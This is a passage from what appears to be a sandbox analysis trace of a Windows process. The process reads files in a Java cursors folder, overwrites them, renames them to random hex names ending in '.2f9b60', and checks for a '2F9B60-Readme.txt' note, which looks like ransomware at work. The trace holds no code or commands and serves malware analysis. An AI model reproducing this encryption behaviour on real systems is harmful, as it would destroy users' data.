Seed=0x24a3f610) returned 0x6acb2ccf [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x27744039 [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x34cd51e3 [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x1c4fe021 [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x56c63cd7 [0228.740] ReadFile (in: hFile=0x15d0, lpBuffer=0x41fbd170, nNumberOfBytesToRead=0x93, lpNumberOfBytesRead=0x24a3f610, lpOverlapped=0x0 | out: lpBuffer=0x41fbd170*, lpNumberOfBytesRead=0x24a3f610*=0x93, lpOverlapped=0x0) returned 1 [0228.740] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.741] WriteFile (in: hFile=0x15d0, lpBuffer=0x41fb5950*, nNumberOfBytesToWrite=0x93, lpNumberOfBytesWritten=0x24a3f614, lpOverlapped=0x0 | out: lpBuffer=0x41fb5950*, lpNumberOfBytesWritten=0x24a3f614*=0x93, lpOverlapped=0x0) returned 1 [0233.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa830 [0233.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5f0 [0233.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa5f0) returned 1 [0233.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fb5950) returned 1 [0233.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fbd170) returned 1 [0233.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868640) returned 1 [0233.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61a10) returned 1 [0233.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1ce61a10 [0233.024] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.024] WriteFile (in: hFile=0x15d0, lpBuffer=0x42c20550*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x24a3f730, lpOverlapped=0x0 | out: lpBuffer=0x42c20550*, lpNumberOfBytesWritten=0x24a3f730*=0x120, lpOverlapped=0x0) returned 1 [0235.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61ec0 [0235.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0235.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4450 [0235.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4450) returned 1 [0235.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x431ad820 [0235.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4450 [0235.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4150 [0235.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4150) returned 1 [0235.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0235.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61ec0) returned 1 [0235.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1cddf6e0 [0235.347] sprintf (in: _Dest=0x1cddf6e0, _Format="%c%c" | out: _Dest="bc") returned 2 [0235.347] sprintf (in: _Dest=0x1cddf6e2, _Format="%c%c" | out: _Dest="e4") returned 2 [0235.347] sprintf (in: _Dest=0x1cddf6e4, _Format="%c%c" | out: _Dest="b1") returned 2 [0235.347] sprintf (in: _Dest=0x1cddf6e6, _Format="%c%c" | out: _Dest="71") returned 2 [0235.347] sprintf (in: _Dest=0x1cddf6e8, _Format="%c%c" | out: _Dest="7c") returned 2 [0235.347] sprintf (in: _Dest=0x1cddf6ea, _Format="%c%c" | out: _Dest="17") returned 2 [0235.347] sprintf (in: _Dest=0x1cddf6ec, _Format="%c%c" | out: _Dest="da") returned 2 [0235.347] sprintf (in: _Dest=0x1cddf6ee, _Format="%c%c" | out: _Dest="28") returned 2 [0235.347] sprintf (in: _Dest=0x1cddf6f0, _Format="%c%c" | out: _Dest="e4") returned 2 [0235.347] sprintf (in: _Dest=0x1cddf6f2, _Format="%c%c" | out: _Dest="9c") returned 2 [0235.347] sprintf (in: _Dest=0x1cddf6f4, _Format="%c%c" | out: _Dest="f4") returned 2 [0235.347] sprintf (in: _Dest=0x1cddf6f6, _Format="%c%c" | out: _Dest="44") returned 2 [0235.347] sprintf (in: _Dest=0x1cddf6f8, _Format="%c%c" | out: _Dest="ac") returned 2 [0235.347] sprintf (in: _Dest=0x1cddf6fa, _Format="%c%c" | out: _Dest="c5") returned 2 [0235.347] sprintf (in: _Dest=0x1cddf6fc, _Format="%c%c" | out: _Dest="0d") returned 2 [0235.347] sprintf (in: _Dest=0x1cddf6fe, _Format="%c%c" | out: _Dest="7d") returned 2 [0235.347] sprintf (in: _Dest=0x1cddf700, _Format="%c%c" | out: _Dest="6d") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf702, _Format="%c%c" | out: _Dest="44") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf704, _Format="%c%c" | out: _Dest="ed") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf706, _Format="%c%c" | out: _Dest="35") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf708, _Format="%c%c" | out: _Dest="43") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf70a, _Format="%c%c" | out: _Dest="92") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf70c, _Format="%c%c" | out: _Dest="e8") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf70e, _Format="%c%c" | out: _Dest="9c") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf710, _Format="%c%c" | out: _Dest="e9") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf712, _Format="%c%c" | out: _Dest="18") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf714, _Format="%c%c" | out: _Dest="5b") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf716, _Format="%c%c" | out: _Dest="97") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf718, _Format="%c%c" | out: _Dest="4c") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf71a, _Format="%c%c" | out: _Dest="dd") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf71c, _Format="%c%c" | out: _Dest="cc") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf71e, _Format="%c%c" | out: _Dest="17") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf720, _Format="%c%c" | out: _Dest="60") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf722, _Format="%c%c" | out: _Dest="14") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf724, _Format="%c%c" | out: _Dest="c6") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf726, _Format="%c%c" | out: _Dest="e0") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf728, _Format="%c%c" | out: _Dest="b9") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf72a, _Format="%c%c" | out: _Dest="26") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf72c, _Format="%c%c" | out: _Dest="09") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf72e, _Format="%c%c" | out: _Dest="4e") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf730, _Format="%c%c" | out: _Dest="9b") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf732, _Format="%c%c" | out: _Dest="7e") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf734, _Format="%c%c" | out: _Dest="5f") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf736, _Format="%c%c" | out: _Dest="04") returned 2 [0235.348] sprintf (in: _Dest=0x1cddf738, _Format="%c%c" | out: _Dest="a5") returned 2 [0235.349] sprintf (in: _Dest=0x1cddf73a, _Format="%c%c" | out: _Dest="00") returned 2 [0235.349] RtlInitAnsiString (in: DestinationString=0x24a3f7a8, SourceString="bce4b1717c17da28e49cf444acc50d7d6d44ed354392e89ce9185b974cddcc176014c6e0b926094e9b7e5f04a500" | out: DestinationString="bce4b1717c17da28e49cf444acc50d7d6d44ed354392e89ce9185b974cddcc176014c6e0b926094e9b7e5f04a500") [0235.349] RtlAnsiStringToUnicodeString (in: DestinationString=0x24a3f778, SourceString="bce4b1717c17da28e49cf444acc50d7d6d44ed354392e89ce9185b974cddcc176014c6e0b926094e9b7e5f04a500", AllocateDestinationString=1 | out: DestinationString="bce4b1717c17da28e49cf444acc50d7d6d44ed354392e89ce9185b974cddcc176014c6e0b926094e9b7e5f04a500") returned 0x0 [0235.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4310d350 [0235.349] wcscat (in: _Dest=0x431f5bc0, _Source="bce4b1717c17da28e49cf44" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\bce4b1717c17da28e49cf44") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\bce4b1717c17da28e49cf44" [0235.349] wcscat (in: _Dest=0x431f5bc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\bce4b1717c17da28e49cf44.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\bce4b1717c17da28e49cf44.2f9b60" [0235.350] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\bce4b1717c17da28e49cf44.2f9b60", NtPathName=0x24a3f750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\bce4b1717c17da28e49cf44.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310df80 [0240.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310df80) returned 1 [0240.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b7e10) returned 1 [0240.171] NtQueryInformationFile (in: FileHandle=0x15d0, IoStatusBlock=0x24a3f7b8, FileInformation=0x24a3f7c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24a3f7b8, FileInformation=0x24a3f7c8) returned 0x0 [0240.171] NtSetInformationFile (FileHandle=0x15d0, IoStatusBlock=0x24a3f7b8, FileInformation=0x24a3f7c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0242.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f5bc0) returned 1 [0242.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310d350) returned 1 [0242.514] FlushFileBuffers (hFile=0x15d0) returned 1 [0242.524] CloseHandle (hObject=0x15d0) returned 1 [0242.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x202b0c90 [0242.943] wcscpy (in: _Dest=0x202b0c90, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\" [0242.943] wcscat (in: _Dest=0x202b0c90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt" [0242.943] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\2f9b60-readme.txt")) returned 0x20 [0242.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0c90) returned 1 [0242.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43182a40) returned 1 Thread: id = 3806 os_tid = 0xf9c [0227.681] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 0x20 [0228.279] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif", dwFileAttributes=0x20) returned 1 [0228.284] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ae0 [0228.743] GetFileSizeEx (in: hFile=0x1ae0, lpFileSize=0x297af900 | out: lpFileSize=0x297af900*=153) returned 1 [0228.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5c80 [0228.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3eb0 [0228.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f45d0 [0228.744] NtQuerySystemTime (in: CurrentTime=0x297af7c0 | out: CurrentTime=0x297af7c0*=132462178327438000) returned 0x0 [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x3280a085 [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x4b5ad11a [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x671384de [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x68d9b833 [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x7c82cf3e [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x51689bec [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x7c1fca6f [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x64940888 [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x5ee20bb7 [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x599f83ed [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0xdfd7921 [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x187fdf97 [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x20b10c1f [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x66e3115e [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x46a50920 [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x147a3281 [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x1050c99a [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x57486986 [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x10636765 [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x31a5429b [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x2cd243be [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x32c8b90d [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x72f88392 [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x33df2e53 [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x1b6ad952 [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x43d6cfc5 [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x5902baa7 [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x125f178a [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x5ebe4d32 [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x148b1a3b [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x59373c61 [0228.744] RtlRandomEx (in: Seed=0x297af7b0 | out: Seed=0x297af7b0) returned 0x3023a3db [0228.752] ReadFile (in: hFile=0x1ae0, lpBuffer=0x41fb9560, nNumberOfBytesToRead=0x99, lpNumberOfBytesRead=0x297af7b0, lpOverlapped=0x0 | out: lpBuffer=0x41fb9560*, lpNumberOfBytesRead=0x297af7b0*=0x99, lpOverlapped=0x0) returned 1 [0228.753] SetFilePointerEx (in: hFile=0x1ae0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.753] WriteFile (in: hFile=0x1ae0, lpBuffer=0x41fc85a0*, nNumberOfBytesToWrite=0x99, lpNumberOfBytesWritten=0x297af7b4, lpOverlapped=0x0 | out: lpBuffer=0x41fc85a0*, lpNumberOfBytesWritten=0x297af7b4*=0x99, lpOverlapped=0x0) returned 1 [0233.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab7f0 [0233.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab2b0 [0233.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab2b0) returned 1 [0233.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fc85a0) returned 1 [0233.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fb9560) returned 1 [0233.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a140) returned 1 [0233.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61ec0) returned 1 [0233.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61ec0 [0233.019] SetFilePointerEx (in: hFile=0x1ae0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.019] WriteFile (in: hFile=0x1ae0, lpBuffer=0x42c21ab0*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x297af8d0, lpOverlapped=0x0 | out: lpBuffer=0x42c21ab0*, lpNumberOfBytesWritten=0x297af8d0*=0x124, lpOverlapped=0x0) returned 1 [0235.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce618d0 [0235.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0235.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3f70 [0235.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3f70) returned 1 [0235.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x431ad820 [0235.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3f70 [0235.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6eb0 [0235.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6eb0) returned 1 [0235.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0235.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce618d0) returned 1 [0235.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x65) returned 0x1cddf6e0 [0235.339] sprintf (in: _Dest=0x1cddf6e0, _Format="%c%c" | out: _Dest="54") returned 2 [0235.339] sprintf (in: _Dest=0x1cddf6e2, _Format="%c%c" | out: _Dest="c2") returned 2 [0235.339] sprintf (in: _Dest=0x1cddf6e4, _Format="%c%c" | out: _Dest="a3") returned 2 [0235.339] sprintf (in: _Dest=0x1cddf6e6, _Format="%c%c" | out: _Dest="ee") returned 2 [0235.339] sprintf (in: _Dest=0x1cddf6e8, _Format="%c%c" | out: _Dest="c3") returned 2 [0235.339] sprintf (in: _Dest=0x1cddf6ea, _Format="%c%c" | out: _Dest="4f") returned 2 [0235.339] sprintf (in: _Dest=0x1cddf6ec, _Format="%c%c" | out: _Dest="65") returned 2 [0235.339] sprintf (in: _Dest=0x1cddf6ee, _Format="%c%c" | out: _Dest="a0") returned 2 [0235.339] sprintf (in: _Dest=0x1cddf6f0, _Format="%c%c" | out: _Dest="90") returned 2 [0235.339] sprintf (in: _Dest=0x1cddf6f2, _Format="%c%c" | out: _Dest="47") returned 2 [0235.339] sprintf (in: _Dest=0x1cddf6f4, _Format="%c%c" | out: _Dest="d2") returned 2 [0235.339] sprintf (in: _Dest=0x1cddf6f6, _Format="%c%c" | out: _Dest="83") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf6f8, _Format="%c%c" | out: _Dest="22") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf6fa, _Format="%c%c" | out: _Dest="80") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf6fc, _Format="%c%c" | out: _Dest="11") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf6fe, _Format="%c%c" | out: _Dest="21") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf700, _Format="%c%c" | out: _Dest="dc") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf702, _Format="%c%c" | out: _Dest="dc") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf704, _Format="%c%c" | out: _Dest="7b") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf706, _Format="%c%c" | out: _Dest="07") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf708, _Format="%c%c" | out: _Dest="21") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf70a, _Format="%c%c" | out: _Dest="37") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf70c, _Format="%c%c" | out: _Dest="71") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf70e, _Format="%c%c" | out: _Dest="63") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf710, _Format="%c%c" | out: _Dest="55") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf712, _Format="%c%c" | out: _Dest="9a") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf714, _Format="%c%c" | out: _Dest="ab") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf716, _Format="%c%c" | out: _Dest="8b") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf718, _Format="%c%c" | out: _Dest="a6") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf71a, _Format="%c%c" | out: _Dest="26") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf71c, _Format="%c%c" | out: _Dest="27") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf71e, _Format="%c%c" | out: _Dest="9e") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf720, _Format="%c%c" | out: _Dest="85") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf722, _Format="%c%c" | out: _Dest="76") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf724, _Format="%c%c" | out: _Dest="5a") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf726, _Format="%c%c" | out: _Dest="a5") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf728, _Format="%c%c" | out: _Dest="e7") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf72a, _Format="%c%c" | out: _Dest="5b") returned 2 [0235.340] sprintf (in: _Dest=0x1cddf72c, _Format="%c%c" | out: _Dest="53") returned 2 [0235.341] sprintf (in: _Dest=0x1cddf72e, _Format="%c%c" | out: _Dest="5c") returned 2 [0235.341] sprintf (in: _Dest=0x1cddf730, _Format="%c%c" | out: _Dest="e7") returned 2 [0235.341] sprintf (in: _Dest=0x1cddf732, _Format="%c%c" | out: _Dest="1d") returned 2 [0235.341] sprintf (in: _Dest=0x1cddf734, _Format="%c%c" | out: _Dest="a9") returned 2 [0235.341] sprintf (in: _Dest=0x1cddf736, _Format="%c%c" | out: _Dest="1d") returned 2 [0235.341] sprintf (in: _Dest=0x1cddf738, _Format="%c%c" | out: _Dest="a4") returned 2 [0235.341] sprintf (in: _Dest=0x1cddf73a, _Format="%c%c" | out: _Dest="cf") returned 2 [0235.341] sprintf (in: _Dest=0x1cddf73c, _Format="%c%c" | out: _Dest="c1") returned 2 [0235.341] sprintf (in: _Dest=0x1cddf73e, _Format="%c%c" | out: _Dest="9b") returned 2 [0235.341] sprintf (in: _Dest=0x1cddf740, _Format="%c%c" | out: _Dest="9b") returned 2 [0235.341] sprintf (in: _Dest=0x1cddf742, _Format="%c%c" | out: _Dest="0a") returned 2 [0235.341] RtlInitAnsiString (in: DestinationString=0x297af948, SourceString="54c2a3eec34f65a09047d28322801121dcdc7b0721377163559aab8ba626279e85765aa5e75b535ce71da91da4cfc19b9b0a" | out: DestinationString="54c2a3eec34f65a09047d28322801121dcdc7b0721377163559aab8ba626279e85765aa5e75b535ce71da91da4cfc19b9b0a") [0235.341] RtlAnsiStringToUnicodeString (in: DestinationString=0x297af918, SourceString="54c2a3eec34f65a09047d28322801121dcdc7b0721377163559aab8ba626279e85765aa5e75b535ce71da91da4cfc19b9b0a", AllocateDestinationString=1 | out: DestinationString="54c2a3eec34f65a09047d28322801121dcdc7b0721377163559aab8ba626279e85765aa5e75b535ce71da91da4cfc19b9b0a") returned 0x0 [0235.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x43116080 [0235.342] wcscat (in: _Dest=0x431108a0, _Source="54c2a3eec34f65a09047d2832" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\54c2a3eec34f65a09047d2832") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\54c2a3eec34f65a09047d2832" [0235.342] wcscat (in: _Dest=0x431108a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\54c2a3eec34f65a09047d2832.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\54c2a3eec34f65a09047d2832.2f9b60" [0235.342] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\54c2a3eec34f65a09047d2832.2f9b60", NtPathName=0x297af8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\54c2a3eec34f65a09047d2832.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x4310e390 [0240.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310e390) returned 1 [0240.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431bd9f0) returned 1 [0240.254] NtQueryInformationFile (in: FileHandle=0x1ae0, IoStatusBlock=0x297af958, FileInformation=0x297af968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x297af958, FileInformation=0x297af968) returned 0x0 [0240.254] NtSetInformationFile (FileHandle=0x1ae0, IoStatusBlock=0x297af958, FileInformation=0x297af968, Length=0x28, FileInformationClass=0x4) returned 0x0 [0242.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431108a0) returned 1 [0242.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43116080) returned 1 [0242.560] FlushFileBuffers (hFile=0x1ae0) returned 1 [0242.572] CloseHandle (hObject=0x1ae0) returned 1 [0242.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43182a40 [0242.958] wcscpy (in: _Dest=0x43182a40, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\") returned="C:\\Program Files 